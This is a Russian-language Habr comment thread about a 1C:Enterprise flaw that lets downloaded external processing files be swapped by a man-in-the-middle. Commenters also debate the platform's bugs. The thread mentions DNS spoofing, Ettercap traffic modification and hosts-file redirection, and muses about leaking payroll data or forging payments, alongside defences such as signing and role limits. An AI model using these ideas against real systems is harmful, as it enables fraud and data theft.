kostik450, #
>Как защищаться?

Подписывать скачиваемый/исполняемый код надо, тогда MITM не пройдет.
0
Dudkin, #
Я имел печальный опыт работы в HelpDesk отделе (поддержка пользователей путём удалённого подключения) одной из крупнейших розничных сетей России. Поддерживали мы в основном 1с 8.2, да что там поддерживали — мы её держали (да и сейчас держут). Толи разработчики конфигурации для 1с настолько бестолковы что просто… Толи сама платформа ну полное УГ, но это не работает совсем… Сотни проблем с клиентами каждый день (иногда тысячи). Удивляешься куда смотрят люди, которые контролируют бизнес-процессы, хотя это другая история. В общем в боевой работе с высокой нагрузкой от 1с остались самые негативные впечатления. Хотя код я немного смотрел, даже пытался сам поковыряться — вполне простенький язык, всё сверху-вниз, никакой сложной архитектуры и не построишь.

P.S. Сейчас благополучно кодю на C#.
+5
AndreyKu, #
Полностью с вами не согласен. Рискую нарваться на кучу минусов, но сама платформа — очень хороший инструмент который можно сконфигурировать под всё что угодно. Конфигураций много, и да, в конфигурациях бывают ошибки, но это все человеческий фактор, одних только дефолтных конфигураций под 20+ и в каждой несколько десятков тысяч строк кода. Часто на плечи «франчайзи» ложиться тяжелая ноша по допиливанию конфигурации после очередного обновления, но это наш хлеб.
+3
Dudkin, #
На хабре каждый рискует нарваться на кучу минусов — но это цена свободы слова)).
Я думаю, что в конкретном данном вопросе может быть несколько мнений, но лично мой опыт работы с 1с сверхпечален, при том это была не конторка с несколькими десятками компов. Это были тысячи машин. Централизованное управление этим всем и тд. Хотя я тоже склонен виновниками считать именно тех кто писал конфигурацию, на сколько я знаю конфигурация была написана практически с нуля, ибо ничего стандартного на такие масштабы не рассчитано, а так как в средние века дома и без гвоздей строили, думаю что-то адекватно работающее можно было и на 1с написать.
+1
VolCh, #
Может проблема не в инструменте, а в том, что был неправильно инструмент выбран для таких задач?
0
Dudkin, #
хм, на сколько я понимаю в России мало альтернатив, из-за законодательства постоянно меняющихся форматов бумажек, форматов электронной отчетности для налоговой и прочего… в 1с это поддерживается вроде бы самими разработчиками постоянно в актуальном состоянии. А так то конечно на том же .net можно было бы написать вещи в разы более производительные и масштабируемые. Да и по времени не думаю что разработка заняла бы намного больше времени. Хотя есть ещё вопрос работы с оборудованием: фискальные регистраторы, сканеры штрихкодов и прочее… думаю на это ушло бы порядком времени, в 1с то это всё уже реализовано изначально, хотя и работает печально.
Можете себе представить ситуацию когда на фискальном регистраторе чек полностью пробивается, в отчете за день ЭКЛЗ он есть, а по 1с он не прошёл совсем, и следа нет… — и не сказать чтобы это было дикой редкостью. Ну последнее это для тех кто знаком с предметной областью.
+1
VolCh, #
В самой платформе всяких этих форматов как раз нет, они заложены в конфигурации и поддерживать это в актуальном состоянии обычно задача разработчиков конфигурации. Хотя, наверное, для разработчиков есть ресурсы, где есть актуальные шаблоны для более простого внедрения в свои конфигурации. Ну или просто «тырить» их с типовых форкать типовые.

Ну и альтернативы, поддерживающие российские законы есть как для малого и среднего бизнеса (традиционная, скажем так, ЦА 1С), так и для крупного.

Насчёт оборудования не скажу — не сталкивался с такими задачами.
0
TimurT, #
>Можете себе представить ситуацию…

Запросто. Сам с такими ситуациями сталкивался. И, не поверите, ни разу это не была проблема платформы. Либо кривая конфигурация, либо кривая внешняя компонента взаимодействия с ФР (в совокупности с драйвером). Причем компонента написана и собрана как раз таки в VS, 1С всего лишь обращается к экспортным процедурам библиотеки (ВК — обычная DLL-ка).

Да, версии 6, 7.5, 7.7 — довольно-таки плохой пример масштабируемой платформы и универсальной среды разработки бизнес-приложений. Но, начиная с 8 версии, все сильно поменялось. К примеру, при грамотной разработке под клиент-сервер можно радикально изменить подход к масштабируемости системы.

Все, как говорится, в руках разработчика. Платформа — всего лишь инструмент. Причем, на мой взгляд, прекрасно подходящий для разработки бизнес-решений.
0
adminimus, #
>но сама платформа — очень хороший инструмент который можно сконфигурировать под всё что угодно

да, платформу видимо пишут более адекватные люди, чем авторы конфигураций. Хотя там бывают настолько эпичные баги, что становится страшно это использовать.
Один из недавних релизов мог безвозвратно испортить аппаратный ключ защиты (hasp). Другой не работал, если на венду не было установлено обновление с отменой перехода зимнее-летнее время для России.
0
AndreyKu, #
А можно подробнее о ключе и апдейте на зимне-летнее время? откуда инфа? лично я не сталкивался.
+1
adminimus, #
downloads.v8.1c.ru/content/Platform/8_2_14_540/ErrFix_8_2_14_540.htm

10087641 — про ключ. Ошибку с часовыми поясами сходу найти не могу, но напарывался на нее сам, когда тестировал новую платформу. А так там еще много веселых багов
0
EGlaz, #
Если бизнес-процессы не сформулированы — не поможет ни 1С, ни Axapta, ни SAP.
0
adminimus, #
>Толи разработчики конфигурации для 1с настолько бестолковы что просто…

я на работе уже год сношаюсь с конфигурацией УПП. После просмотра некоторых кусков кода у меня возникает стойкое ощущение, что такое можно написать только под действием веществ. Буквально вчера видел веселый баг: сначала очищается половина полей и обнуляются реквизиты, а потом пользователя спрашивают, хотел ли он это сделать. И это даже не глупость, баг видно с первого взгляда и он отлично ловится при тестах.

>вполне простенький язык, всё сверху-вниз, никакой сложной архитектуры и не построишь.
Зато можно построить очень глючную, тормозную и запутанную. Посмотрите как-нибудь кишки любой большой конфигурации. Для самых элементарных операций в них задействована куча объектов, написаны километровой длины запросы, а стектрейс по глубине соперничает с марианской впадиной.
0
EGlaz, #
Можно поподробней про весёлый баг? Это стандартная конфа УПП или доработанная кем-то? Какая версия? Собсно где баг?
0
adminimus, #
в типовой, версия 1.3.24
документ РасходныйКассовыйОрдер, ФормаДокумента, процедура ДействияФормыУстановитьОперацию.

0
w0den, #
В боевых условиях атака может быть совершена путем DNS спуфинга или MITM атакой с модификацией трафика, например Ettercap'ом.

А ещё можно изменить файл hosts, конечно, если антивирусы этого разрешат.
+3
AndreyKu, #
Если есть доступ к компьютеру, какой смысл этой дырки?)
–4
w0den, #
Думаю, изменить файл hosts, намного легче, чем получить доступ к компьютеру.

Например, есть утилиты которые изменяют файл hosts, но антивирусы не считают их опасными. То есть, пользователь должен запустить безобидную программу, для того чтобы злоумышленник смог воспользоваться этой уязвимостью.
+1
Intercepter, #
как вы будете удаленно изменять чужой hosts без доступа к компьютеру?
–1
w0den, #
Я ведь не написал, что файл будет изменён удалённо, а то, что сделать это „намного легче”.

Если Вы думаете, что изменить файл hosts так трудно, попробуйте искать в интернете, например, «Ваша страница заблокирована». В большинство случаев, именно файл hosts и был изменён.

Дело в том, что использование трояна для получения доступа к компьютеру, это намного труднее и более „рискованно” (антивирусы могут быстро его обнаружить).

А вот для того чтобы изменить файл hosts, Вам нужно всего лишь ПО которые изменяет файл hosts и „никто” не считают её опасной. Дальше всё просто, учитывая что, скорее всего 1С добавлен „в исключения в антивирусах и фаерволах”.
0
Intercepter, #
Вы статью читали? Автор пишет про модификацию трафика в локальной сети. Каким чудом вы сможете выполнить код (читай «изменить hosts») только при помощи arp poison или dns spoofing?

Если у вас есть возможность запустить троян или «Всего лишь ПО», то никакие митмы не нужны. Речь в статье о совершенно иной ситуации.
–1
w0den, #
А кто сказал, что нужно изменить hosts с помощью MITM-атакой или DNS-spoofing'а? И зачем ограничиваться только локальной сети?

Я написал про hosts только как ещё один метод, с помощью которого можно перенаправлять трафик.

Пожалуйста, обратите внимание, что изначально я не написал, что это „лучший” метод. Но когда речь шла о „доступе к компьютеру”, я сказал что этот метод „намного легче”.
0
AndreyKu, #
Намного легче чего? Заставить пользователя запустить вирус который поменяет ему хостс только чтобы перенапрвить трафик? Да какойто бред, если уж вы заставили запустить юзера исполняемый файл, то на этом взлом и должен заканчиваться.
0
w0den, #
Надеюсь, цитирования моих предыдущих комментариев достаточно для того чтобы ответить на Ваши вопросы.

>> Намного легче чего?
Думаю, изменить файл hosts, намного легче, чем получить доступ к компьютеру.


>> Заставить пользователя запустить вирус который поменяет ему хостс только чтобы перенапрвить трафик?
Например, есть утилиты которые изменяют файл hosts, но антивирусы не считают их опасными.
попробуйте искать в интернете, например, «Ваша страница заблокирована»
ещё один метод, с помощью которого можно перенаправлять трафик.


>> Да какойто бред, если уж вы заставили запустить юзера исполняемый файл, то на этом взлом и должен заканчиваться.
Дело в том, что использование трояна для получения доступа к компьютеру, это намного труднее и более „рискованно” (антивирусы могут быстро его обнаружить).
+3
igrishaev, #
Несведущим в 1С стоит знать, что «обработка» — это по сути мини-программа для 1С, которая может содержать любой код и оперировать любыми объектами, файлами, в т.ч. вызывать системные команды. Динамическая подгрузка обработок в 1С-рантайм аналогична запуску исполняемого файла в операционной системе, и единственное средство обезопасить себя — не запускать их вообще, или быть точно уверенным, какой код зашит в обработке. В идеале обработка должна быть встроена в конфигурацию, чтобы ее не пришлось каждый раз выкачивать и рисковать безопасностью. Кроме того, запуск внешней обработки может быть ограничен правами роли. Отсюда вывод — запускать внешние обработки только под каким-то одним пользователем, который получает их из надежного источника/хранилища.
0
TimurT, #
По большому счету эта уязвимость может быть использована тогда, и только тогда, когда хост уже скомпрометирован. При удачной MITM/DNS spoofing атаке или банальном заражении системы с изменением hosts уязвимой становится не только 1С. Так что не такая уж это и «дыра».

Конечно, с подписями .epf-ок вопрос этой уязвимости отпадет полностью, но он и сейчас не особо актуален.
–1
Intercepter, #
arp spoofing — митм? митм. на компьютере жертвы стоит только 1с и больше ничего не происходит.
вот и выполните любой код в таких условиях, предложения будут?
+1
mihmig, #
А сейчас внимание, вопрос — позволяет ли непатченная 8-ка (7-ка НЕТ) запретить стандартными средствами запуск чего-то внешнего?
0
shortcaster, #
угу
0
lnking, #
Позволяет
0
igrishaev, #
Позволяет, например, на уровне ролей.
Кроме того, внешнаяя обработка может быть запущена в безопасном режиме, когда вызов системных команд и др. потеницальные операции запрещены.
0
mihmig, #
ммм, а стандартный диалог Файл->Открыть, ползая в котором можно «скопипастить» файловую базу на ноутбук, воткнутый в сеть?
0
igrishaev, #
Если у роли нет права «интерактивный запуск обработок», то при выборе файла скажет «нарушение и прав доступа» и не загрузит.
0
mihmig, #
Не, тут не про запуск спрашиваю, вопрос — может ли терминальный юзер «ползать» по файловой системе в диалоге открытия файла?
0
igrishaev, #
Тут не уверен, нужно проверить. Скорее всего, сможет. Но как вариант — ограничить доступ на уровне ОС.
–2
mihmig, #
В строке:
Name configuration: 77u/0JHRg9GF0LPQsNC70YLQtdGA0LjRj9Cf0YDQtdC00L/RgNC40Y/RgtC40Y8=
глаз сразу увидел base64, расшифровал:
БухгалтерияПредприятия
криптографы хреновы…
+3
CLaiN, #
Вы еще посмотрите как тело письма (e-mail) «шифруется».
0
Old_Chroft, #
Как-бы кодирование национальных символов и почтовых вложений — часть стандарта электронной почты (http://en.wikipedia.org/wiki/Base64, русская вики тут немногословна). Так что тут 1С правильно сделали.
0
mihmig, #
>>воспользоваться приведенным ниже кодом, чтобы отключить автозапуск
Во-во — тут мы видим типичный подход 1с — встраивание костылей. А что будет при очередном обновлении? Снова вспоминать какие костыли и где вставляли?
+1
mihmig, #
Уязвимость здесь гораздо серьёзнее:
Никто не будет «палиться», втавляя пятьсот тыщ себе родному в зарплатную ведомость — всё равно в бухгалтерии всё «крыжат» — подмена быстро всплывёт.
Гораздо опаснее тихий слив всех зарплатных и финансовых данных (и аплоад через ту же отравленную epf-ку)
+1
AndreyKu, #
Я просто показал для примера, очевидно что никто на свою фамилию ничего не будет делать. А вот создать фейковую платежку куда-то в швейцарский банк — запросто.
+1
EGlaz, #
Сегодня 1С уже выложила обновление БП2.0.36.9, в котором:

«Новое в версии 2.0.36.9

— …;
— Доработан механизм интернет-поддержки пользователей.»

Не понятно, правда, как именно доработан, но возможно, как надо :)

0
AndreyKu, #
Сейчас посмотрим. Спасибо.
0
AndreyKu, #
UPD сверху

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

На пути к созданию безопасного веб-ресурса. Часть 1 — серверное ПО
Антивирус Бабушкина
Учёные доказали превосходство расы терранов в StarCraft 2